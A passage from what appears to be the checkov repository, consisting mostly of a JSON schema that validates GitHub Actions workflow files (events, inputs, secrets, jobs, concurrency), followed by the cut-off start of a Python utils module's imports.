string specifying the data type of the input. This must be one of: boolean, number, or string.", "type": "string", "enum": ["boolean", "number", "string"] }, "default": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddefault", "description": "The default value is used when an input parameter isn't specified in a workflow file.", "type": ["boolean", "number", "string"] } }, "required": ["required", "type"], "additionalProperties": False } }, "additionalProperties": False }, "secrets": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecrets", "description": "A map of the secrets that can be used in the called workflow. Within the called workflow, you can use the secrets context to refer to a secret.", "patternProperties": { "^[_a-zA-Z][a-zA-Z0-9_-]*$": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecretssecret_id", "description": "A string identifier to associate with the secret.", "properties": { "description": { "description": "A string description of the secret parameter.", "type": "string" }, "required": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecretssecret_idrequired", "description": "A boolean specifying whether the secret must be supplied." } }, "required": ["required"], "additionalProperties": False } }, "additionalProperties": False } } }, "workflow_dispatch": { "$comment": "https://github.blog/changelog/2020-07-06-github-actions-manual-triggers-with-workflow_dispatch/", "description": "You can now create workflows that are manually triggered with the new workflow_dispatch event. You will then see a 'Run workflow' button on the Actions tab, enabling you to easily trigger a run.", "properties": { "inputs": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs", "description": "Input parameters allow you to specify data that the action expects to use during runtime. GitHub stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.", "type": "object", "patternProperties": { "^[_a-zA-Z][a-zA-Z0-9_-]*$": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_id", "description": "A string identifier to associate with the input. The value of is a map of the input's metadata. The must be a unique identifier within the inputs object. The must start with a letter or _ and contain only alphanumeric characters, -, or _.", "type": "object", "properties": { "description": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddescription", "description": "A string description of the input parameter.", "type": "string" }, "deprecationMessage": { "description": "A string shown to users using the deprecated input.", "type": "string" }, "required": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_idrequired", "description": "A boolean to indicate whether the action requires the input parameter. Set to true when the parameter is required.", "type": "boolean" }, "default": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddefault", "description": "A string representing the default value. The default value is used when an input parameter isn't specified in a workflow file." }, "type": { "description": "A string representing the type of the input.", "type": "string", "enum": ["string", "choice", "boolean", "environment"] }, "options": { "$comment": "https://github.blog/changelog/2021-11-10-github-actions-input-types-for-manual-workflows", "description": "The options of the dropdown list, if the type is a choice.", "type": "array", "items": { "type": "string" }, "minItems": 1 } }, "allOf": [ { "if": { "properties": { "type": { "const": "boolean" } }, "required": ["type"] }, "then": { "properties": { "default": { "type": "boolean" } } }, "else": { "properties": { "default": { "type": "string" } } } }, { "if": { "properties": { "type": { "const": "choice" } }, "required": ["type"] }, "then": { "required": ["options"] } } ], "required": ["description", "required"], "additionalProperties": False } }, "additionalProperties": False } } }, "workflow_run": { "$comment": "https://docs.github.com/en/actions/reference/events-that-trigger-workflows#workflow_run", "$ref": "#/definitions/eventObject", "description": "This event occurs when a workflow run is requested or completed, and allows you to execute a workflow based on the finished result of another workflow. For example, if your pull_request workflow generates build artifacts, you can create a new workflow that uses workflow_run to analyze the results and add a comment to the original pull request.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["requested", "completed"] }, "default": ["requested", "completed"] }, "workflows": { "type": "array", "items": { "type": "string" }, "minItems": 1 } }, "patternProperties": { "^branches(-ignore)?$": {} } }, "repository_dispatch": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#external-events-repository_dispatch", "$ref": "#/definitions/eventObject", "description": "You can use the GitHub API to trigger a webhook event called repository_dispatch when you want to trigger a workflow for activity that happens outside of GitHub. For more information, see https://developer.github.com/v3/repos/#create-a-repository-dispatch-event.\nTo trigger the custom repository_dispatch webhook event, you must send a POST request to a GitHub API endpoint and provide an event_type name to describe the activity type. To trigger a workflow run, you must also configure your workflow to use the repository_dispatch event." }, "schedule": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events-schedule", "description": "You can schedule a workflow to run at specific UTC times using POSIX cron syntax (https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). Scheduled workflows run on the latest commit on the default or base branch. The shortest interval you can run scheduled workflows is once every 5 minutes.\nNote: GitHub Actions does not support the non-standard syntax @yearly, @monthly, @weekly, @daily, @hourly, and @reboot.\nYou can use crontab guru (https://crontab.guru/). to help generate your cron syntax and confirm what time it will run. To help you get started, there is also a list of crontab guru examples (https://crontab.guru/examples.html).", "type": "array", "items": { "properties": { "cron": { "$comment": "https://stackoverflow.com/a/57639657/4044345", "type": "string", "pattern": "^(((\\d+,)+\\d+|((\\d+|\\*)/\\d+|((JAN|FEB|MAR|APR|MAY|JUN|JUL|AUG|SEP|OCT|NOV|DEC)(-(JAN|FEB|MAR|APR|MAY|JUN|JUL|AUG|SEP|OCT|NOV|DEC))?))|(\\d+-\\d+)|\\d+|\\*|((MON|TUE|WED|THU|FRI|SAT|SUN)(-(MON|TUE|WED|THU|FRI|SAT|SUN))?)) ?){5}$" } }, "additionalProperties": False }, "minItems": 1 } }, "additionalProperties": False }, { "type": "string", "properties": { "branch_protection_rule": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/events-that-trigger-workflows#branch_protection_rule", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the branch_protection_rule event occurs. More than one activity type triggers this event.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "edited", "deleted"] }, "default": ["created", "edited", "deleted"] } } }, "check_run": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#check-run-event-check_run", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the check_run event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/checks/runs.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "created", "rerequested", "completed", "requested_action" ] }, "default": [ "created", "rerequested", "completed", "requested_action" ] } } }, "check_suite": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#check-suite-event-check_suite", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the check_suite event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/checks/suites/.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["completed", "requested", "rerequested"] }, "default": ["completed", "requested", "rerequested"] } } }, "create": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#create-event-create", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime someone creates a branch or tag, which triggers the create event. For information about the REST API, see https://developer.github.com/v3/git/refs/#create-a-reference." }, "delete": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#delete-event-delete", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime someone deletes a branch or tag, which triggers the delete event. For information about the REST API, see https://developer.github.com/v3/git/refs/#delete-a-reference." }, "deployment": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#deployment-event-deployment", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime someone creates a deployment, which triggers the deployment event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see https://developer.github.com/v3/repos/deployments/." }, "deployment_status": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#deployment-status-event-deployment_status", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime a third party provides a deployment status, which triggers the deployment_status event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see https://developer.github.com/v3/repos/deployments/#create-a-deployment-status." }, "discussion": { "$comment": "https://docs.github.com/en/actions/reference/events-that-trigger-workflows#discussion", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the discussion event occurs. More than one activity type triggers this event. For information about the GraphQL API, see https://docs.github.com/en/graphql/guides/using-the-graphql-api-for-discussions", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "created", "edited", "deleted", "transferred", "pinned", "unpinned", "labeled", "unlabeled", "locked", "unlocked", "category_changed", "answered", "unanswered" ] }, "default": [ "created", "edited", "deleted", "transferred", "pinned", "unpinned", "labeled", "unlabeled", "locked", "unlocked", "category_changed", "answered", "unanswered" ] } } }, "discussion_comment": { "$comment": "https://docs.github.com/en/actions/reference/events-that-trigger-workflows#discussion_comment", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the discussion_comment event occurs. More than one activity type triggers this event. For information about the GraphQL API, see https://docs.github.com/en/graphql/guides/using-the-graphql-api-for-discussions", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "edited", "deleted"] }, "default": ["created", "edited", "deleted"] } } }, "fork": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#fork-event-fork", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime when someone forks a repository, which triggers the fork event. For information about the REST API, see https://developer.github.com/v3/repos/forks/#create-a-fork." }, "gollum": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#gollum-event-gollum", "$ref": "#/definitions/eventObject", "description": "Runs your workflow when someone creates or updates a Wiki page, which triggers the gollum event." }, "issue_comment": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#issue-comment-event-issue_comment", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the issue_comment event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/comments/.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "edited", "deleted"] }, "default": ["created", "edited", "deleted"] } } }, "issues": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#issues-event-issues", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the issues event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "opened", "edited", "deleted", "transferred", "pinned", "unpinned", "closed", "reopened", "assigned", "unassigned", "labeled", "unlabeled", "locked", "unlocked", "milestoned", "demilestoned" ] }, "default": [ "opened", "edited", "deleted", "transferred", "pinned", "unpinned", "closed", "reopened", "assigned", "unassigned", "labeled", "unlabeled", "locked", "unlocked", "milestoned", "demilestoned" ] } } }, "label": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#label-event-label", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the label event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/labels/.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "edited", "deleted"] }, "default": ["created", "edited", "deleted"] } } }, "member": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#member-event-member", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the member event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/repos/collaborators/.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["added", "edited", "deleted"] }, "default": ["added", "edited", "deleted"] } } }, "merge_group": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#merge_group", "$ref": "#/definitions/eventObject", "description": "Runs your workflow when a pull request is added to a merge queue, which adds the pull request to a merge group. For information about the merge queue, see https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request-with-a-merge-queue .", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["checks_requested"] }, "default": ["checks_requested"] } } }, "milestone": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#milestone-event-milestone", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the milestone event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/issues/milestones/.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "closed", "opened", "edited", "deleted"] }, "default": [ "created", "closed", "opened", "edited", "deleted" ] } } }, "page_build": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#page-build-event-page_build", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime someone pushes to a GitHub Pages-enabled branch, which triggers the page_build event. For information about the REST API, see https://developer.github.com/v3/repos/pages/." }, "project": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-event-project", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the project event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "created", "updated", "closed", "reopened", "edited", "deleted" ] }, "default": [ "created", "updated", "closed", "reopened", "edited", "deleted" ] } } }, "project_card": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-card-event-project_card", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the project_card event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/cards.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "created", "moved", "converted", "edited", "deleted" ] }, "default": [ "created", "moved", "converted", "edited", "deleted" ] } } }, "project_column": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#project-column-event-project_column", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the project_column event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/projects/columns.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "updated", "moved", "deleted"] }, "default": ["created", "updated", "moved", "deleted"] } } }, "public": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#public-event-public", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime someone makes a private repository public, which triggers the public event. For information about the REST API, see https://developer.github.com/v3/repos/#edit." }, "pull_request": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-event-pull_request", "$ref": "#/definitions/ref", "description": "Runs your workflow anytime the pull_request event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls.\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "assigned", "unassigned", "labeled", "unlabeled", "opened", "edited", "closed", "reopened", "synchronize", "converted_to_draft", "ready_for_review", "locked", "unlocked", "review_requested", "review_request_removed", "auto_merge_enabled", "auto_merge_disabled" ] }, "default": ["opened", "synchronize", "reopened"] } }, "patternProperties": { "^(branche|tag|path)s(-ignore)?$": { "type": "array" } }, "additionalProperties": False }, "pull_request_review": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-review-event-pull_request_review", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the pull_request_review event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls/reviews.\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["submitted", "edited", "dismissed"] }, "default": ["submitted", "edited", "dismissed"] } } }, "pull_request_review_comment": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#pull-request-review-comment-event-pull_request_review_comment", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime a comment on a pull request's unified diff is modified, which triggers the pull_request_review_comment event. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/pulls/comments.\nNote: Workflows do not run on private base repositories when you open a pull request from a forked repository.\nWhen you create a pull request from a forked repository to the base repository, GitHub sends the pull_request event to the base repository and no pull request events occur on the forked repository.\nWorkflows don't run on forked repositories by default. You must enable GitHub Actions in the Actions tab of the forked repository.\nThe permissions for the GITHUB_TOKEN in forked repositories is read-only. For more information about the GITHUB_TOKEN, see https://help.github.com/en/articles/virtual-environments-for-github-actions.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["created", "edited", "deleted"] }, "default": ["created", "edited", "deleted"] } } }, "pull_request_target": { "$comment": "https://docs.github.com/en/actions/reference/events-that-trigger-workflows#pull_request_target", "$ref": "#/definitions/ref", "description": "This event is similar to pull_request, except that it runs in the context of the base repository of the pull request, rather than in the merge commit. This means that you can more safely make your secrets available to the workflows triggered by the pull request, because only workflows defined in the commit on the base repository are run. For example, this event allows you to create workflows that label and comment on pull requests, based on the contents of the event payload.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "assigned", "unassigned", "labeled", "unlabeled", "opened", "edited", "closed", "reopened", "synchronize", "converted_to_draft", "ready_for_review", "locked", "unlocked", "review_requested", "review_request_removed", "auto_merge_enabled", "auto_merge_disabled" ] }, "default": ["opened", "synchronize", "reopened"] } }, "patternProperties": { "^(branche|tag|path)s(-ignore)?$": {} }, "additionalProperties": False }, "push": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#push-event-push", "$ref": "#/definitions/ref", "description": "Runs your workflow when someone pushes to a repository branch, which triggers the push event.\nNote: The webhook payload available to GitHub Actions does not include the added, removed, and modified attributes in the commit object. You can retrieve the full commit object using the REST API. For more information, see https://developer.github.com/v3/repos/commits/#get-a-single-commit.", "patternProperties": { "^(branche|tag|path)s(-ignore)?$": { "items": { "type": "string" }, "type": "array" } }, "additionalProperties": False }, "registry_package": { "$comment": "https://help.github.com/en/actions/reference/events-that-trigger-workflows#registry-package-event-registry_package", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime a package is published or updated. For more information, see https://help.github.com/en/github/managing-packages-with-github-packages.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["published", "updated"] }, "default": ["published", "updated"] } } }, "release": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#release-event-release", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the release event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/repos/releases/ in the GitHub Developer documentation.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": [ "published", "unpublished", "created", "edited", "deleted", "prereleased", "released" ] }, "default": [ "published", "unpublished", "created", "edited", "deleted", "prereleased", "released" ] } } }, "status": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#status-event-status", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the status of a Git commit changes, which triggers the status event. For information about the REST API, see https://developer.github.com/v3/repos/statuses/." }, "watch": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#watch-event-watch", "$ref": "#/definitions/eventObject", "description": "Runs your workflow anytime the watch event occurs. More than one activity type triggers this event. For information about the REST API, see https://developer.github.com/v3/activity/starring/." }, "workflow_call": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/events-that-trigger-workflows#workflow_call", "description": "Allows workflows to be reused by other workflows.", "properties": { "inputs": { "$comment": "https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#onworkflow_callinputs", "description": "When using the workflow_call keyword, you can optionally specify inputs that are passed to the called workflow from the caller workflow.", "type": "object", "patternProperties": { "^[_a-zA-Z][a-zA-Z0-9_-]*$": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id", "description": "A string identifier to associate with the input. The value of is a map of the input's metadata. The must be a unique identifier within the inputs object. The must start with a letter or _ and contain only alphanumeric characters, -, or _.", "type": "object", "properties": { "description": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddescription", "description": "A string description of the input parameter.", "type": "string" }, "deprecationMessage": { "description": "A string shown to users using the deprecated input.", "type": "string" }, "required": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_idrequired", "description": "A boolean to indicate whether the action requires the input parameter. Set to true when the parameter is required.", "type": "boolean" }, "type": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callinput_idtype", "description": "Required if input is defined for the on.workflow_call keyword. The value of this parameter is a string specifying the data type of the input. This must be one of: boolean, number, or string.", "type": "string", "enum": ["boolean", "number", "string"] }, "default": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddefault", "description": "The default value is used when an input parameter isn't specified in a workflow file.", "type": ["boolean", "number", "string"] } }, "required": ["required", "type"], "additionalProperties": False } }, "additionalProperties": False }, "secrets": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecrets", "description": "A map of the secrets that can be used in the called workflow. Within the called workflow, you can use the secrets context to refer to a secret.", "patternProperties": { "^[_a-zA-Z][a-zA-Z0-9_-]*$": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecretssecret_id", "description": "A string identifier to associate with the secret.", "properties": { "description": { "description": "A string description of the secret parameter.", "type": "string" }, "required": { "$comment": "https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#onworkflow_callsecretssecret_idrequired", "description": "A boolean specifying whether the secret must be supplied." } }, "required": ["required"], "additionalProperties": False } }, "additionalProperties": False } } }, "workflow_dispatch": { "$comment": "https://github.blog/changelog/2020-07-06-github-actions-manual-triggers-with-workflow_dispatch/", "description": "You can now create workflows that are manually triggered with the new workflow_dispatch event. You will then see a 'Run workflow' button on the Actions tab, enabling you to easily trigger a run.", "properties": { "inputs": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputs", "description": "Input parameters allow you to specify data that the action expects to use during runtime. GitHub stores input parameters as environment variables. Input ids with uppercase letters are converted to lowercase during runtime. We recommended using lowercase input ids.", "type": "object", "patternProperties": { "^[_a-zA-Z][a-zA-Z0-9_-]*$": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_id", "description": "A string identifier to associate with the input. The value of is a map of the input's metadata. The must be a unique identifier within the inputs object. The must start with a letter or _ and contain only alphanumeric characters, -, or _.", "type": "object", "properties": { "description": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddescription", "description": "A string description of the input parameter.", "type": "string" }, "deprecationMessage": { "description": "A string shown to users using the deprecated input.", "type": "string" }, "required": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_idrequired", "description": "A boolean to indicate whether the action requires the input parameter. Set to true when the parameter is required.", "type": "boolean" }, "default": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/metadata-syntax-for-github-actions#inputsinput_iddefault", "description": "A string representing the default value. The default value is used when an input parameter isn't specified in a workflow file." }, "type": { "description": "A string representing the type of the input.", "type": "string", "enum": ["string", "choice", "boolean", "environment"] }, "options": { "$comment": "https://github.blog/changelog/2021-11-10-github-actions-input-types-for-manual-workflows", "description": "The options of the dropdown list, if the type is a choice.", "type": "array", "items": { "type": "string" }, "minItems": 1 } }, "allOf": [ { "if": { "properties": { "type": { "const": "boolean" } }, "required": ["type"] }, "then": { "properties": { "default": { "type": "boolean" } } }, "else": { "properties": { "default": { "type": "string" } } } }, { "if": { "properties": { "type": { "const": "choice" } }, "required": ["type"] }, "then": { "required": ["options"] } } ], "required": ["description", "required"], "additionalProperties": False } }, "additionalProperties": False } } }, "workflow_run": { "$comment": "https://docs.github.com/en/actions/reference/events-that-trigger-workflows#workflow_run", "$ref": "#/definitions/eventObject", "description": "This event occurs when a workflow run is requested or completed, and allows you to execute a workflow based on the finished result of another workflow. For example, if your pull_request workflow generates build artifacts, you can create a new workflow that uses workflow_run to analyze the results and add a comment to the original pull request.", "properties": { "types": { "$ref": "#/definitions/types", "items": { "type": "string", "enum": ["requested", "completed"] }, "default": ["requested", "completed"] }, "workflows": { "type": "array", "items": { "type": "string" }, "minItems": 1 } }, "patternProperties": { "^branches(-ignore)?$": {} } }, "repository_dispatch": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#external-events-repository_dispatch", "$ref": "#/definitions/eventObject", "description": "You can use the GitHub API to trigger a webhook event called repository_dispatch when you want to trigger a workflow for activity that happens outside of GitHub. For more information, see https://developer.github.com/v3/repos/#create-a-repository-dispatch-event.\nTo trigger the custom repository_dispatch webhook event, you must send a POST request to a GitHub API endpoint and provide an event_type name to describe the activity type. To trigger a workflow run, you must also configure your workflow to use the repository_dispatch event." }, "schedule": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows#scheduled-events-schedule", "description": "You can schedule a workflow to run at specific UTC times using POSIX cron syntax (https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07). Scheduled workflows run on the latest commit on the default or base branch. The shortest interval you can run scheduled workflows is once every 5 minutes.\nNote: GitHub Actions does not support the non-standard syntax @yearly, @monthly, @weekly, @daily, @hourly, and @reboot.\nYou can use crontab guru (https://crontab.guru/). to help generate your cron syntax and confirm what time it will run. To help you get started, there is also a list of crontab guru examples (https://crontab.guru/examples.html).", "type": "array", "items": { "properties": { "cron": { "$comment": "https://stackoverflow.com/a/57639657/4044345", "type": "string", "pattern": "^(((\\d+,)+\\d+|((\\d+|\\*)/\\d+|((JAN|FEB|MAR|APR|MAY|JUN|JUL|AUG|SEP|OCT|NOV|DEC)(-(JAN|FEB|MAR|APR|MAY|JUN|JUL|AUG|SEP|OCT|NOV|DEC))?))|(\\d+-\\d+)|\\d+|\\*|((MON|TUE|WED|THU|FRI|SAT|SUN)(-(MON|TUE|WED|THU|FRI|SAT|SUN))?)) ?){5}$" } }, "additionalProperties": False }, "minItems": 1 } }, "additionalProperties": False } ] }, "env": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#env", "$ref": "#/definitions/env", "description": "A map of environment variables that are available to all jobs and steps in the workflow." }, "defaults": { "$comment": "https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#defaults", "$ref": "#/definitions/defaults", "description": "A map of default settings that will apply to all jobs in the workflow." }, "concurrency": { "$comment": "https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#concurrency", "description": "Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can use any context except for the secrets context. \nYou can also specify concurrency at the workflow level. \nWhen a concurrent job or workflow is queued, if another job or workflow using the same concurrency group in the repository is in progress, the queued job or workflow will be pending. Any previously pending job or workflow in the concurrency group will be canceled. To also cancel any currently running job or workflow in the same concurrency group, specify cancel-in-progress: true.", "oneOf": [ { "type": "string" }, { "$ref": "#/definitions/concurrency" } ] }, "jobs": { "$comment": "https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobs", "description": "A workflow run is made up of one or more jobs. Jobs run in parallel by default. To run jobs sequentially, you can define dependencies on other jobs using the jobs..needs keyword.\nEach job runs in a fresh instance of the virtual environment specified by runs-on.\nYou can run an unlimited number of jobs as long as you are within the workflow usage limits. For more information, see https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#usage-limits.", "type": "object", "patternProperties": { "^[_a-zA-Z][a-zA-Z0-9_-]*$": { "anyOf": [ { "$ref": "#/definitions/normalJob" }, { "$ref": "#/definitions/reusableWorkflowCallJob" } ] } }, "minProperties": 1, "additionalProperties": False }, "permissions": { "$ref": "#/definitions/permissions" } }, "required": ["on", "jobs"], "type": "object" } ================================================ FILE: checkov/github_actions/utils.py ================================================ from __future__ import annotations import json import logging import os import platform from pathlib import Path from typing import Any, Tuple import dpath import yaml from jsonschema import validate, ValidationError from checkov.common.parsers.yaml.loader import SafeLineLoaderGhaSchema from checkov.common.parsers.yaml.parser import parse from checkov.common.util.file_utils import read_file_with_any_encoding from checkov.common.util.type_forcers import force_dict from 